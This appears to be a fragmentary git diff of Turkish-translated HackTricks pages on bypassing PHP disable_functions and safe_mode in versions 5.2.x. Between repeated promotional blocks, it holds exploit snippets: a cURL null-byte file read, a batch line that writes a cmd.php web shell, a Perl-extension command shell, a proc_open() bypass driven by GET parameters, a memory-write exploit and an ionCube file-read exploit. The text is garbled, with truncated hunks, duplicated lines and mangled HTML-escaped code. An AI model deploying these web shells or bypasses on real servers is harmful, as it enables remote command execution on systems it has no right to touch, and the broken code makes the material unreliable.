* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
# PHP 5.2.4 ve 5.2.5 PHP cURL
[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) adresinden alınmıştır.
[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) adresinden
```text
source: http://www.securityfocus.com/bid/27413/info
@ -27,16 +28,17 @@ The issue affects PHP 5.2.5 and 5.2.4.
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00&quot;.__FILE__)));
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,23 +1,25 @@
# disable\_functions bypass - PHP <= 5.2.9 on windows
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## PHP <= 5.2.9 Windows üzerinde
[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass) adresinden
# PHP &lt;= 5.2.9 Windows'ta
[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
{% tabs %}
{% tab title="exploit.php" %}
```php
<?php
//cmd.php
@ -71,29 +73,29 @@ echo "</center>";
</body>
</html>
```
{% endtab %}
```plaintext
@echo off
echo ^<?php echo system('cmd.exe /c %*'); ?^> > cmd.php
```
Bu komut dosyası, `cmd.php` adında bir PHP dosyası oluşturur ve içine `cmd.exe` komutunu çalıştırır.
{% tab title="cmd.bat" %}
```
dir > abyss.txt
exit
```
{% endtab %}
{% endtabs %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin**.
* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
# PHP Perl Uzantısı Safe\_mode Atlatma Saldırısı
# PHP Perl Uzantısı Safe\_mode Bypass Exploit
Kaynak: [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) adresinden
```php
<?php
@ -41,16 +42,17 @@ echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25>
?>
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
# PHP safe\_mode bypass via proc\_open\(\) and custom environment Exploit
# proc\_open\(\) ve özel ortam Exploit ile PHP safe\_mode atlatma
Kaynak: [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) adresinden
```php
<!--p $path="/var/www"; //change to your writable path $a=fopen($path."/.comm","w"); fputs($a,$_GET["c"]); fclose($a); $descriptorspec = array( 0--> array("pipe", "r"),
1 =&gt; array("file", $path."/output.txt","w"),
@ -27,16 +28,17 @@ while (!feof($a))
?&gt;;
</strong>
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# via mem
Kaynak: [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) adresinden
```php
<?php
/*
@ -142,16 +143,17 @@ exit;
}
echo "[-] Write failed. Exiting\n";
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamını görmek** veya HackTricks'i **PDF olarak indirmek** isterseniz, [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
# PHP 5.2.4 ionCube uzantısı Sömürüsü
@ -51,16 +52,17 @@ echo "<br><br>ionCube output:<br><br>";
echo $MyBoot_ioncube;
?>
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
